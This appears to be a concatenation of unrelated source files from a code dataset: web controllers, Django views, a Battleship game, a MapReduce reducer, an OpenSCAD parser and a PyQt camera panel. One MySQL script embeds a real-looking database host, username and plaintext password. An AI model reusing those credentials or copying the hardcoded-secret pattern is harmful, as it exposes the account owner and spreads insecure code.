search_string = formencode.validators.String(not_empty=True)
class CatalogController(BaseController):
@authorize(ValidAuthKitUser())
def __before__(self):
"""
Проверки для инициализации глобальных переменных
"""
# Определить uid пользователя и поместить в глобальную переменную
user_q = meta.Session.query(model.User)
user = user_q.filter_by(username = request.environ['REMOTE_USER']).first()
app_globals.user_id = user.uid
app_globals.user_group = user.group.view
app_globals.user_view = user.view
campaign_q = meta.Session.query(model.Campaign)
c.current_campaign = campaign_q.filter_by(status = '1').first()
# Проверить, есть ли запущенная кампания
if c.current_campaign:
app_globals.current_campaign_id = c.current_campaign.id
app_globals.current_campaign_start_date = c.current_campaign.start_date
app_globals.current_campaign_end_date = c.current_campaign.end_date
c.finished_active_campaign = campaign_q.filter_by(status = '2').first()
# Проверить, есть ли завершённая активная кампания
if c.finished_active_campaign:
app_globals.current_campaign_id = c.finished_active_campaign.id
app_globals.current_campaign_start_date = c.finished_active_campaign.start_date
app_globals.current_campaign_end_date = c.finished_active_campaign.end_date
app_globals.finished_active_campaign_id = c.finished_active_campaign.id
app_globals.finished_active_campaign_start_date = c.finished_active_campaign.start_date
app_globals.finished_active_campaign_end_date = c.finished_active_campaign.end_date
def index(self):
"""Отображает список основных разделов (первый уровень)"""
section_q = meta.Session.query(model.Section)
c.section = section_q
c.main_sections = section_q.filter_by(parent_section_id = 1)
h.redirect(url(controller='catalog', action='section', id=1))
def section(self, id):
"""Отображает список подразделов и breadcrumbs"""
section_q = meta.Session.query(model.Section)
c.section = section_q
def breadcrumbs(section_id):
"Отображает список разделов до Главного"
a = ''
b = []
d = []
while a != None:
a = c.section.filter_by(id = section_id).first().parent_section_id
a_name = c.section.filter_by(id = section_id).first().name
a_id = c.section.filter_by(id = section_id).first().id
if a != None:
b = [(a_name, a_id)] + b
section_id = a
c.breadcrumbs = b
#try:
c.current_section = section_q.filter_by(id = id).first()
breadcrumbs(c.current_section.id)
# item_q = meta.Session.query(model.Item)
# c.section_items = item_q.filter_by(section_id = c.current_section.id)
# Just using ORM relation instead of another query
c.section_items = c.current_section.items
# To disable "Add" link
app_q = meta.Session.query(model.App)
c.current_app_status = app_q.filter_by(author_id = app_globals.user_id).filter_by(campaign_id = app_globals.current_campaign_id).first().status
app_globals.current_section_id = c.current_section.id
return render('/derived/catalog/section.html')
#except:
#h.redirect(url(controller='catalog', action='section', id='1'))
def new_section(self):
"""Отображение формы для создания раздела"""
section_q = meta.Session.query(model.Section)
c.available_sections = [(section.id, section.name) for section in section_q]
return render('/derived/catalog/new_section.html')
@validate(schema=NewSectionForm(), form='new_section')
def create_section(self):
"""Создание раздела"""
section = model.Section()
section.name = self.form_result['name']
section.parent_section_id = self.form_result['parent_section']
section.description = self.form_result['description']
meta.Session.add(section)
meta.Session.flush()
h.redirect(url(controller='catalog', action='section', id=section.id))
def edit_section(self):
"""Отображение формы для изменения/удаления раздела"""
section_q = meta.Session.query(model.Section)
section = section_q.filter_by(id=request.urlvars['id']).first()
c.current_section = section
c.available_sections = [(section.id, section.name) for section in section_q]
values = {
'name': c.current_section.name,
'parent_section': c.current_section.id,
'description': c.current_section.description
}
return htmlfill.render(render('/derived/catalog/edit_section.html'), values)
@validate(schema=EditSectionForm(), form='edit_section')
def save_section(self):
"""Сохранения параметров раздела"""
section_q = meta.Session.query(model.Section)
section = section_q.filter_by(id=request.urlvars['id']).first()
section.name = self.form_result['name']
section.description = self.form_result['description']
section.edited = datetime.datetime.now()
meta.Session.commit()
h.redirect(url(controller='catalog', action='section', id=section.id))
@validate(schema=DeleteSectionForm(), form='delete')
def delete_section(self):
"""Удаляет раздел и все дочерние разделы"""
section_q = meta.Session.query(model.Section)
section = section_q.filter_by(id=request.urlvars['id']).first()
meta.Session.delete(section)
meta.Session.commit()
h.redirect(url(controller='catalog', action='section', id=section.parent_section_id))
def new_item(self):
"""Отображение формы для создания объекта"""
section_q = meta.Session.query(model.Section)
available_sections = [(section.id, section.name) for section in section_q]
c.available_sections = available_sections[1:]
unit_q = meta.Session.query(model.Unit)
c.available_units = [(unit.id, unit.name) for unit in unit_q]
return render('/derived/catalog/new_item.html')
@validate(schema=NewItemForm(), form='new_item')
def create_item(self):
"""Создание объекта"""
item = model.Item()
item.brand = self.form_result['brand']
item.model = self.form_result['model']
item.description = self.form_result['description']
item.section_id = self.form_result['section_id']
item.unit_id = self.form_result['unit_id']
item.price = self.form_result['price']
meta.Session.add(item)
meta.Session.flush()
h.redirect(url(controller='catalog', action='new_item'))
def edit_item(self):
"""Отображение формы для изменения/удаления объекта"""
section_q = meta.Session.query(model.Section)
c.available_sections = [(section.id, section.name) for section in section_q]
unit_q = meta.Session.query(model.Unit)
c.available_units = [(unit.id, unit.name) for unit in unit_q]
item_q = meta.Session.query(model.Item)
item = item_q.filter_by(id=request.urlvars['id']).first()
c.current_item = item
values = {
'brand': c.current_item.brand,
'model': c.current_item.model,
'description': c.current_item.description,
'section_id': c.current_item.section_id,
'unit_id': c.current_item.unit_id,
'price': c.current_item.price,
}
#return render('/derived/catalog/edit.html')
return htmlfill.render(render('/derived/catalog/edit_item.html'), values)
@validate(schema=NewItemForm(), form='edit_item')
def save_item(self, id):
"""Сохранение параметров объекта"""
item_q = meta.Session.query(model.Item)
item = item_q.filter_by(id=id).first()
item.brand = self.form_result['brand']
item.model = self.form_result['model']
item.description = self.form_result['description']
item.section_id = self.form_result['section_id']
item.unit_id = self.form_result['unit_id']
item.price = self.form_result['price']
item.edited = datetime.datetime.now()
meta.Session.commit()
h.redirect(url(controller='catalog', action='section', id=item.section_id))
def delete_item(self):
"""Удаление объекта"""
item_q = meta.Session.query(model.Item)
item = item_q.filter_by(id=request.urlvars['id']).first()
# Объект не удаляется из базы данных, а просто становится невидимым
# Это необходимо, чтобы сохранилась информация в старых заявках
item.deleted = 1
#meta.Session.delete(item)
meta.Session.commit()
h.redirect(url(controller='catalog', action='section', id=item.section_id))
@validate(schema=SearchForm(), form='section')
def search_item(self):
"""Поиск объектов по каталогу"""
section_q = meta.Session.query(model.Section)
c.section = section_q
item_q = meta.Session.query(model.Item)
c.search_results = item_q.filter_by(brand=self.form_result['search_string']).all()
# To disable "Add" link
app_q = meta.Session.query(model.App)
c.current_app_status = app_q.filter_by(author_id = app_globals.user_id).filter_by(campaign_id = app_globals.current_campaign_id).first().status
return render('/derived/catalog/search_item.html') | [
"saguitarius@gmail.com"
] | saguitarius@gmail.com |
5296e19942d244285d13d5f6cb17242a9191235c | 79120c8033b595a6d9ff44fe541b85a66a742d01 | /scraper/electives.py | 898238d1ca4a666bf08568c4c8d295eb35b1d3ff | [] | no_license | amitra93/DARS-Digest | 0059fa593c68c04e939576f0ead1367838f4148c | c1340668961318ab63e29b1d07ea2a89f15dd58c | refs/heads/master | 2020-05-16T11:29:41.987355 | 2013-06-30T22:50:57 | 2013-06-30T22:50:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 796 | py | import MySQLdb
db = MySQLdb.connect(host="engr-cpanel-mysql.engr.illinois.edu", # your host, usually localhost
user="darsfordummies_x", # your username
passwd="XGonGive", # your password
db="darsfordummies_dars") # name of the data base
cur = db.cursor()
classes = [410, 411, 412, 413, 414, 418, 419, 420, 422, 423, 424, 425, 426, 427, 428, 429, 431, 433, 436, 438, 439, 440, 446, 450, 460, 461, 463, 465, 467, 475, 476, 477, 481, 498]
for i in classes:
queryText = "INSERT INTO `darsfordummies_dars`.`requirements` (`major` ,`type` ,`courseList`) VALUES ('COMPUTER SCIENCE - COLLEGE OF ENGINEERING','TECHNICAL TRACK','CS"+str(i)+"')";
print i
try:
cur.execute(queryText)
db.commit()
except:
db.rollback()
db.close()
| [
"amitra93@gmail.com"
] | amitra93@gmail.com |
23aa4bfce5b269d5f1ccfec27f806a8adf56799d | 33e50bf5f64225248b895568891f81948056176a | /poly/views/treatment.py | 409f40d6a6eaa4be1571e686df54c2d279bd891a | [] | no_license | furkankapukaya/PolyClinic | 09a25dc555d47d032a2e60f2af384a357dcfc20c | ce6650c10dc6e875f1221bdc7083847eb54ebd0c | refs/heads/master | 2022-04-29T17:49:14.323390 | 2018-05-23T07:27:36 | 2018-05-23T07:27:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,410 | py | from django.http import JsonResponse
from django.shortcuts import render, redirect
from django.views.generic import *
from django.urls import reverse_lazy
from poly.forms.treatment import TreatmentForm
from poly.models import Treatment, Clinic, Appointment, Doctor, Patient
def treatment_json(request):
data = []
start = int(request.GET.get('start', 0))
length = int(request.GET.get('length', 10))
items = Treatment.objects.all()
records_total = items.count()
items = items[start:length]
records_filtered = items.count()
for item in items:
data.append([
item.doctor.name + ' ' + item.doctor.surname,
item.patient.name + ' ' + item.patient.surname,
item.date,
'<a href="/treatment/detail/' + str(item.id) + '" class="btn btn-primary btn-xs"><i class="fa fa-folder">'
'</i> Görüntüle</a>'
'<a href="/treatment/edit/' + str(item.id) + '" class="btn btn-info btn-xs">'
'<i class="fa fa-pencil"></i> Düzenle </a>'
'<a href="/treatment/delete/' + str(item.id) + '" class="btn btn-danger btn-xs">'
'<i class="fa fa-trash-o"></i> Sil </a>'
])
return JsonResponse({
'recordsTotal': records_total,
'recordsFiltered': records_filtered,
'data': data
}, safe=False)
class TreatmentList(ListView):
template_name = 'poly/treatment/list.html'
context_object_name = 'treatment_list'
def get_queryset(self):
if self.request.is_ajax():
return JsonResponse(list(Treatment.objects.all().values('id_number', 'name', 'surname', )), safe=False)
return None
class TreatmentDetail(DetailView):
model = Treatment
template_name = 'poly/treatment/detail.html'
extra_context = {'clinics': Clinic.objects.all()}
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
return context
class TreatmentEdit(UpdateView):
model = Treatment
fields = '__all__'
template_name = 'poly/treatment/edit.html'
success_url = reverse_lazy('poly:treatment-list')
extra_context = {'clinics': Clinic.objects.all()}
def treatment_delete(request, pk):
treatment = Treatment.objects.get(pk=pk)
if treatment.delete():
return redirect('/treatment/list')
def treatment_create(request, pk):
appointment = Appointment.objects.get(pk=pk)
if request.method == 'GET':
return render(request, 'poly/treatment/add.html', {
'doctor': appointment.doctor,
'patient': appointment.patient
})
if request.method == 'POST':
form = TreatmentForm(request.POST)
if form.is_valid():
treatment = Treatment(
doctor=form.cleaned_data['doctor'],
patient=form.cleaned_data['patient'],
diagnosis=form.cleaned_data['diagnosis'],
)
treatment.save()
return reverse_lazy('poly:treatment-list')
#
# class TreatmentCreate(CreateView):
# model = Treatment
# template_name = 'poly/treatment/add.html'
# form_class = TreatmentForm
# success_url = reverse_lazy('poly:treatment-list')
# extra_context = {'clinics': Clinic.objects.all()}
#
# def form_valid(self, form):
# return super(TreatmentCreate, self).form_valid(form)
#
| [
"hcancakici@gmail.com"
] | hcancakici@gmail.com |
ca4f2fb7a024febb083b52ed05ba2c569bfa2a7f | 493166a9d5ce0286f19164b061ad442f94dee62e | /old/BattleShip.py | e064c16d53c5ae0328af6821821255503e30de17 | [] | no_license | mcdwayne/PublicDocs | f9d8539b4d9b536b885a28ec1430a65a5feb49e0 | a1d1a934dc07e350b4f3b8faab10cc24094bccc4 | refs/heads/master | 2021-07-24T12:58:37.787253 | 2020-12-23T14:45:33 | 2020-12-23T14:46:13 | 96,465,763 | 0 | 0 | null | 2018-10-06T18:27:25 | 2017-07-06T19:37:33 | Python | UTF-8 | Python | false | false | 1,477 | py | from random import randint
#create the board
board = []
for x in range(4):
board.append(["O"] * 5)
#function for printing the board in a clean way
def print_board(board):
for row in board:
print " ".join(row)
#Begin the game
print "Let's play Battleship!"
print_board(board)
#Set where the computer's ships are
def random_row(board):
return randint(0, len(board) - 1)
def random_col(board):
return randint(0, len(board[0]) - 1)
ship_row = random_row(board)
ship_col = random_col(board)
# Everything from here on should go in your for loop!
# Be sure to indent four spaces!
for turn in range(10):
guess_row = int(raw_input("Guess Row:"))
guess_col = int(raw_input("Guess Col:"))
if guess_row == ship_row and guess_col == ship_col:
print "Congratulations! You sunk my battleship!"
break
else:
if (guess_row < 0 or guess_row > 4) or (guess_col < 0 or guess_col > 4):
print "Oops, that's not even in the ocean."
elif(board[guess_row][guess_col] == "X"):
print "You guessed that one already."
else:
print "You missed my battleship!"
board[guess_row][guess_col] = "X"
# Print (turn + 1) here!
if turn == 9:
print "Game Over"
print "it was at"
print ship_row
print ship_col
else:
print "That was turn"
print turn+1
print_board(board) | [
"1dwayne.mcdaniel@gmail.com"
] | 1dwayne.mcdaniel@gmail.com |
2da010a994603596628ceff6366bd62638a2f44b | 1c6a8bc04a051239a0a12519f58066c71e36597d | /API/restApi/urls.py | 5a4637fcae5642bf7d7ac4ecf773c97d9b240067 | [] | no_license | Irfanwani/AppDev | 90fa0f0e05ceb32dc879b14c6af40785a9e567ca | 1d5f8e09029ad2b49cbc7c3a4af6cbff4eb55116 | refs/heads/master | 2023-04-26T16:40:48.441275 | 2021-05-08T13:27:21 | 2021-05-08T13:27:21 | 364,173,584 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 481 | py | from django.urls import path, include
from . import views
from rest_framework.routers import DefaultRouter
router = DefaultRouter()
router.register('articles', views.ArticleViewSet, basename='articles')
urlpatterns = [
path('api/', include(router.urls))
# path('articles/', views.ArticleList.as_view()),
# path('articles/<int:id>/', views.ArticleDetails.as_view())
# path('articles/', views.article_list),
# path('articles/<int:pk>', views.article_details)
] | [
"irfanwani347@gmail.com"
] | irfanwani347@gmail.com |
11a2932a8b8e0ad8ab3477cd1dd0d81b66ea3912 | 9775d287deb7fb82c1408d0be25bae920fd32676 | /reducer.py | 2851b6f1fd9d151dedb955ab3e42389bdd934340 | [] | no_license | pallyjoel/Final_Project | 3be2c18dc0f5a5d6a139429c30ad28921b4a0351 | 76ef67ea97e412857e6c9e688535c9adfdb8f7c0 | refs/heads/master | 2016-09-06T06:27:35.927778 | 2015-08-05T03:18:47 | 2015-08-05T03:18:47 | 22,735,501 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 728 | py | import logging
import csv, sys
reader=csv.reader(sys.stdin,delimiter='\t')
entries = 0
days = 0
old_key = None
with open("output.csv", 'w') as master_file:
master_file.write( '{0},{1}\n'.format('Day', 'Avg_Hourly_Entries'))
for row in reader:
data = str(row).strip().split(',')
if len(data) !=2 or data[1][4:-3] == 'ENTRIESn_hourly':
continue
new_key, value = data
new_key = new_key[4:-2]
value = (value[4:-4])
if old_key != None and new_key !=old_key:
master_file.write( '{0},{1}\n'.format(old_key, float(entries)/days))
entries = 0
days = 0
old_key = new_key
entries += float(value)
days += 1
if old_key != None:
master_file.write( '{0},{1}\n'.format(old_key, float(entries)/days)) | [
"pallyjoel@gmail.com"
] | pallyjoel@gmail.com |
af19d7f2a60fa59c218d57ed62c778d40750e96c | cd43ea8410c38735038d66cb12266ad6aff8ceb6 | /forms.py | 32f313cc11612370a6cc411b95d28fa2067f55b9 | [] | no_license | malinichandran/flask-feedback | f74cfe87482155bbe6a0a8e644ad94ba4de205b2 | 3a2a1eb0f7f1b140d25c7fe60637cd6391a96d4f | refs/heads/master | 2023-04-02T15:31:24.484535 | 2021-04-02T00:00:19 | 2021-04-02T00:00:19 | 353,855,678 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 955 | py | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField
from wtforms.validators import InputRequired
class UserForm(FlaskForm):
"""User Registration Form"""
username = StringField("Username", validators=[InputRequired()])
password = PasswordField("Password", validators=[InputRequired()])
email = StringField("Email", validators=[InputRequired()])
firstname = StringField("First Name", validators=[InputRequired()])
lastname = StringField("Last Name", validators=[InputRequired()])
class LoginForm(FlaskForm):
"""Login Form"""
username = StringField("Username",validators=[InputRequired()])
password = PasswordField("Password",validators=[InputRequired()])
class FeedbackForm(FlaskForm):
"""Feedback Form"""
title = StringField("Title",validators=[InputRequired()])
content = StringField("Content",validators=[InputRequired()])
class DeleteForm(FlaskForm):
"""Delete Form """
| [
"malinichandran@Malinis-MacBook-Air.local"
] | malinichandran@Malinis-MacBook-Air.local |
0fda81459bc7dbbfdfd31cc6ad3c19fa455a756f | 19ebf2faa5f7d4baf4151e350dd22b88f625c44b | /confirmed_users.py | 2b8e8a7a913d25c29c891e8188bec791fef50f04 | [] | no_license | 20145208/PyCharm_test | e6108d41d497ffd16822814e093b707f8df59ba7 | a09679b6e471e3659a29822001f83a924867fb0f | refs/heads/master | 2022-10-22T14:38:07.977634 | 2020-06-18T13:55:02 | 2020-06-18T13:55:02 | 269,376,634 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,908 | py | # @Time : 2020/6/4 0004 22:10
# @Author: CaiYe
# @File : confirmed_users.py
def con_users():
unconfirmed_users = ['alice', 'brian', 'candace']
confirmed_users = []
while unconfirmed_users:
current_users = unconfirmed_users.pop()
print("Verifying user: " + current_users.title())
confirmed_users.append(current_users)
print("\nThe following users have been confirmed:")
for confirmed_user in confirmed_users:
print(confirmed_user.title())
def pets_name():
pets = ['dog', 'cat', 'dog', 'goldfish', 'cat', 'rabbit', 'cat']
print(pets)
while 'cat' in pets:
pets.remove('cat')
print(pets)
def mountain_poll():
responses = {}
polling_active = True
while polling_active:
name = input("\nWhat is your name? \nYour name: ")
response = input("Which mountain would you like to climb someday? \nMountain's name: ")
responses[name] = response
repeat = input("Would you like to let another person respond?(yes/no): ")
if repeat.lower() == 'no':
polling_active = False
print("\n<<<---Poll Results--->>>")
for name, response in responses.items():
print(name.title() + " would like to climb " + response.title() + ".")
def sandwich_store():
sandwich_orders = ['Big Bar', 'Medium Boy', 'Little Bus', 'pastrami', 'pastrami', 'pastrami']
finished_sandwich = []
print('Pastrami was sale out!')
while 'pastrami' in sandwich_orders:
sandwich_orders.remove('pastrami')
while sandwich_orders:
new_finished = sandwich_orders.pop()
print('I made your tuna sandwich,' + new_finished)
finished_sandwich.append(new_finished)
print("All of the finished sandwiches: " + str(finished_sandwich))
def main():
# con_users()
# pets_name()
# mountain_poll()
sandwich_store()
print('')
main() | [
"177315815@qq.com"
] | 177315815@qq.com |
04fa7019c63fdbc39ed76380e913d742f176299f | a5dc0e0450ebb601a03af02de2da019f2ddc458b | /1.py | e4eea03141143148e511c76b3fedf9e0bedbc558 | [] | no_license | Bondarev2020/infa_2019_Bondarev2020 | b570d65037f85c83fdc90c54cddd9d220c71fa7b | 464ddfebc56bb64dad30b0f414edd9a1da0212b1 | refs/heads/master | 2021-01-09T00:04:05.038990 | 2020-04-04T16:13:31 | 2020-04-04T16:13:31 | 242,182,162 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 770 | py | def change_possibilities_bottom_up(amount, denominations):
ways_of_doing_n_cents = [0] * (amount + 1)
ways_of_doing_n_cents[0] = 1
for coin in denominations:
for higher_amount in range(coin, amount + 1):
print(coin)
print('higher_amount=', higher_amount)
higher_amount_remainder = higher_amount - coin
print('higher_amount_remainder=', higher_amount_remainder)
print('ways_of_doing_n_cents[higher_amount]=', ways_of_doing_n_cents[higher_amount])
ways_of_doing_n_cents[higher_amount] += ways_of_doing_n_cents[higher_amount_remainder]
print(ways_of_doing_n_cents)
print (ways_of_doing_n_cents[amount])
change_possibilities_bottom_up(10, [5,2,3])
| [
"noreply@github.com"
] | noreply@github.com |
1336f3318039f4e42291a2201c124b0de8197265 | 1c4c8b04ce6b956d473bb6abc0f5c7550a38abf2 | /main/urls.py | 51c76ed9ea8079962937ddea384da018153cc583 | [] | no_license | MaximSungmo/pysite | bc580e62d84f985db70b262e0beb5d0fe04494c6 | 7d10426a46f48ebf0b9dbe125cb1a3bc0f5d73de | refs/heads/master | 2020-06-07T02:11:25.895885 | 2019-06-24T11:07:31 | 2019-06-24T11:07:31 | 192,898,677 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 779 | py | """python_ch3 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
import main.views as main_views
urlpatterns = [
path('', main_views.index)
]
| [
"ksm5318@naver.com"
] | ksm5318@naver.com |
2d740379b638a22df79119c84d3b7dddf824aa09 | 4ef80242cf22a1ccd0d7a2042476b5b6ac1eb03e | /build/lib/scadparser/ScadModel.py | c00db947830a69e33733ad984fc06ea2a68a7bc0 | [] | no_license | rblack42/ScadParser | 71081adb99ec03e78bc78b4101562b7fa1bab134 | a9cc10b23c6515a53065dfb58b23881d0145f88d | refs/heads/master | 2023-07-11T03:51:53.434534 | 2021-08-27T02:03:37 | 2021-08-27T02:03:37 | 397,718,873 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,172 | py | from __future__ import annotations
import os
import tatsu
from tatsu.ast import AST
symbol_table = {}
def store(id, val):
symbol_table[id] = val
def lookup(id):
if not id in symbol_table:
return id
else:
return symbol_table[id]
class ScadSemantics(object):
def include(self, ast):
print("CWD" + str(os.getcwd()))
grammar = open('grammar/scad.tatsu').read()
incfile = os.path.join('scad', ast.file)
prog = open(incfile).read()
parser = tatsu.compile(grammar)
ast = parser.parse(prog,
trace=False, colorize=True, semantics=ScadSemantics())
return ast
def int(self, ast):
return int(ast)
def fract(self, ast):
return float(ast)
def ident(self, ast):
return lookup(ast)
def declaration(self, ast):
store(ast.id, ast.value)
return ast
def addition(self, ast):
return ast.left + ast.right
def subtraction(self, ast):
return ast.left - ast.right
def multiplication(self, ast):
return ast.left * ast.right
def division(self, ast):
return ast.left / ast.right
| [
"roie.black@gmail.com"
] | roie.black@gmail.com |
3f064d90d711bb1e3e36cfcf8b1413ed9f5c99d1 | 115e824300c16053071700bc624359dffa8dbf34 | /GUI/control_widget.py | 7c7022c64bdfc408c1a6f0f2386ff6b1b688b8c8 | [] | no_license | DuseobSong/CCTV_project | 295bdfea6651bd0b5608da232b41ebf26f4d0fa6 | 151362b00fc8494d88e9221b0e4dc0f7f11ba022 | refs/heads/master | 2023-05-24T19:09:51.396711 | 2021-05-27T11:07:17 | 2021-05-27T11:07:17 | 365,710,311 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,964 | py | '''
Button groups
function : turn on/off several camera
== Button Layout ==
interval_h1 width2 interval_h2
\ / / ================================\\ -------
| width1 |----|--|-------| || interval_v3
---- +-----------+ +-----------+ +-----------+ || -------
height1 | btn | +--+ | btn | +--+ | btn | ||
| | | +--+ --- | | +--+ | | ||
---- +-----------+ | +-----------+ +-----------+ ||
interval_v1 interval_v2 ||
---- +-----------+ | +-----------+ +-----------+ ||
| btn | +--+ --- | btn | +--+ | btn | ||
|| | | +--+ | | +--+ | | ||
|| +-----------+ +-----------+ +-----------+ ||
|| ||
|| +-----------+ +-----------+ +-----------+ ||
|| | btn | +--+ | btn | +--+ | btn | ||
|| | | +--+ | | +--+ | | ||
|| +-----------+ ---- +-----------+ +-----------+ ||
|| 20 |------| <-- width (CtrlButton) ||
|| ---- +------+ --- ||
|| | up | | <- height (CtrlButton)||
|| 115 +------+------+------+ --- ||
||<-------------------------->| left | | right| ||
|| +------+------+------+ ||
|| | down | ||
|| +------+ ---- ||
|| 20 ||
\\============================================================================//
'''
from PyQt5.QtCore import pyqtSignal, pyqtSlot
from PyQt5.QtWidgets import QWidget, QPushButton, QRadioButton, QLabel, QFrame
from control_thread import *
from mqtt_thread import *
class RadioButton(QRadioButton):
signal_rbtn_checked = pyqtSignal(int)
def __init__(self, parent, idx):
super().__init__(parent)
self.width = 20
self.height = 20
self.idx = idx
self.clicked.connect(self.send_rbtn_idx)
def send_rbtn_idx(self):
print('[RBTN] Clicked')
if self.isChecked():
self.signal_rbtn_checked.emit(self.idx)
class CamButton(QPushButton):
status_changed = pyqtSignal(int, bool)
def __init__(self, parent, idx):
super().__init__(parent)
self.idx = idx
self.width = 80
self.height = 20
self.no = None
self.setText('Cam 1: Off')
self.RUNNING = False
@pyqtSlot()
def btn_clicked(self):
if not self.RUNNING:
self.RUNNING = True
self.setText('Cam ' + str(self.no) + ': On')
self.status_changed.emit(self.idx, False)
else:
self.RUNNING = False
self.setText('Cam ' + str(self.no) + ': Off')
self.status_changed.emit(self.idx, True)
@pyqtSlot(bool)
def cam_disconnected(self):
pass
class StatusColor(QLabel):
def __init__(self, parent=None):
super().__init__(parent)
self.status = True # True : Pause, False: Running
self.activation = False
self.width = 10
self.height = 10
self.setStyleSheet('background-color: red')
@pyqtSlot(int, bool)
def status_changed(self, idx, status):
self.status = status
if self.status:
self.setStyleSheet('background-color: red')
else:
self.setStyleSheet('background-color: green')
class CameraControl(QWidget):
signal_send_cmd = pyqtSignal(int, int)
def __init__(self, parent=None):
super().__init__(parent)
self.joystick = Control(self) # thread
self.setGeometry(115, 160, 150, 150)
class PanelParamInit(QThread):
signal_request_panel_param = pyqtSignal()
signal_send_panel_param = pyqtSignal(object)
def __init__(self):
super().__init__()
self.param_loaded = False
@pyqtSlot(object)
def resend_panel_param(self, param):
self.param_loaded=True
self.signal_send_panel_param.emit(param)
def run(self):
while not self.param_loaded:
self.signal_request_panel_param.emit()
time.sleep(0.3)
print('[CONTROLLER-init] Parameter-set received')
class ControlPanel(QFrame):
signal_send_target_idx = pyqtSignal(int)
signal_send_status_changed = pyqtSignal(int, bool)
signal_control_init_chk = pyqtSignal()
def __init__(self, parent=None):
super().__init__(parent)
self.camera_info = None
self.esp_idx = None
self.width = None
self.height = None
self.interval_v1 = None
self.interval_v2 = None
self.interval_v3 = None
self.interval_h1 = None
self.interval_h2 = None
self.num_camera = None
self.use_joystick = True
self.camera_status = [False for _ in range(9)]
self.buttons = [CamButton(self, i) for i in range(9)]
self.status_colors = [StatusColor(self) for _ in range(9)]
self.radio_btns = [RadioButton(self, i) for i in range(9)]
self.controller = CameraControl(self)
self.initializer = PanelParamInit()
self.initializer.signal_send_panel_param.connect(self.set_param)
#self.controller.joystick.joystick.send_cmd.connect(self.mqtt_client.msg_publish)
def chk_esp_idx(self, camera_info):
esp_idx = []
for idx in range(len(camera_info)):
if camera_info['mode'].iloc[idx] == 'ESP':
esp_idx.append(idx)
self.esp_idx = esp_idx
@pyqtSlot(object)
def set_param(self, param):
time.sleep(0.4)
self.camera_info = param['camera_info']
self.num_camera = param['num_camera']
self.width = param['width']
self.height = param['height']
self.interval_v1 = param['interval_v1']
self.interval_v2 = param['interval_v2']
self.interval_v3 = param['interval_v3']
self.interval_h1 = param['interval_h1']
self.interval_h2 = param['interval_h2']
print('[CONTROLLER] Parameter-set loaded')
self.initializer.working=False
self.initializer.quit()
time.sleep(0.3)
self.setGeometry(1010, 5, self.width, self.height)
self.setFrameShape(QFrame.StyledPanel)
self.setFrameShadow(QFrame.Raised)
self.chk_esp_idx(self.camera_info)
self.set_buttons()
@pyqtSlot(int)
def set_target(self, cam_no):
self.target_cam = cam_no
self.signal_send_target_idx.emit(self.target_cam)
@pyqtSlot(int, bool)
def status_changed(self, int, bool):
self.signal_send_status_changed.emit(int, bool)
def set_buttons(self):
# camera buttons
for idx in range(9):
width1 = self.buttons[idx].width
height1 = self.buttons[idx].height
width2 = self.status_colors[idx].width
height2 = self.status_colors[idx].height
width3 = self.radio_btns[idx].width
height3 = self.radio_btns[idx].height
x1 = self.interval_h1 + (width1 + self.interval_h1 + width2 + self.interval_h2) * (idx %3)
x2 = self.interval_h1 + width1 + self.interval_h1 + (width2 + self.interval_h2 + width1 + self.interval_h1) * (idx % 3)
x3 = x2 + 15
y1 = 40 + self.interval_v1 + (height1 + self.interval_v1) * (idx // 3)
y2 = 40 + self.interval_v3 + (height2 + self.interval_v2) * (idx // 3)
self.buttons[idx].setGeometry(x1, y1, width1, height1)
self.buttons[idx].no = idx+1
self.buttons[idx].setText('Cam '+str(idx+1)+' : Off')
self.status_colors[idx].setGeometry(x2, y2, width2, height2)
self.radio_btns[idx].setGeometry(x3, y1, width3, height3)
#self.radio_btns[idx].signal_rbtn_checked.connect(self.set_target)
if idx in self.esp_idx:
self.radio_btns[idx].setEnabled(True)
self.radio_btns[idx].signal_rbtn_checked.connect(self.set_target)
else:
self.radio_btns[idx].setDisabled(True)
for idx in range(9):
if idx >= self.num_camera:
self.buttons[idx].setDisabled(True)
self.status_colors[idx].setStyleSheet('background-color: black')
self.radio_btns[idx].setDisabled(True)
else:
self.buttons[idx].clicked.connect(self.buttons[idx].btn_clicked)
self.buttons[idx].status_changed.connect(self.status_colors[idx].status_changed)
self.buttons[idx].status_changed.connect(self.signal_send_status_changed)
self.radio_btns[idx].signal_rbtn_checked.connect(self.set_target)
self.signal_send_target_idx.connect(self.controller.joystick.joystick.set_target_idx)
print('[CONTROLLER] Initialized')
self.signal_control_init_chk.emit()
#self.controller.joystick.start()
@pyqtSlot()
def run(self):
#self.mqtt_client.start()
self.controller.joystick.start()
| [
"duseob.song@outlook.kr"
] | duseob.song@outlook.kr |
f5652e43484283b338bb4c520e99d2d2437cec4e | a7645e386f7975a39ec79adc9748b87884fcb5cc | /socket_factory.py | 8b9eaea6f357f9176268517c2d9a0dab3d1d0e0a | [] | no_license | snjdck/PythonCode | 343e84dc2967ce70b657b678d03a1996f35ffd9d | f0703c534fadadda6ee804059bd6ddf4f9976579 | refs/heads/master | 2021-01-01T17:05:11.482774 | 2015-06-03T07:32:29 | 2015-06-03T07:32:29 | 10,338,777 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 286 | py |
import socket
def create_client(ip, port):
sock = socket.socket()
sock.connect((ip, port))
return sock
def create_server(ip, port):
sock = socket.socket()
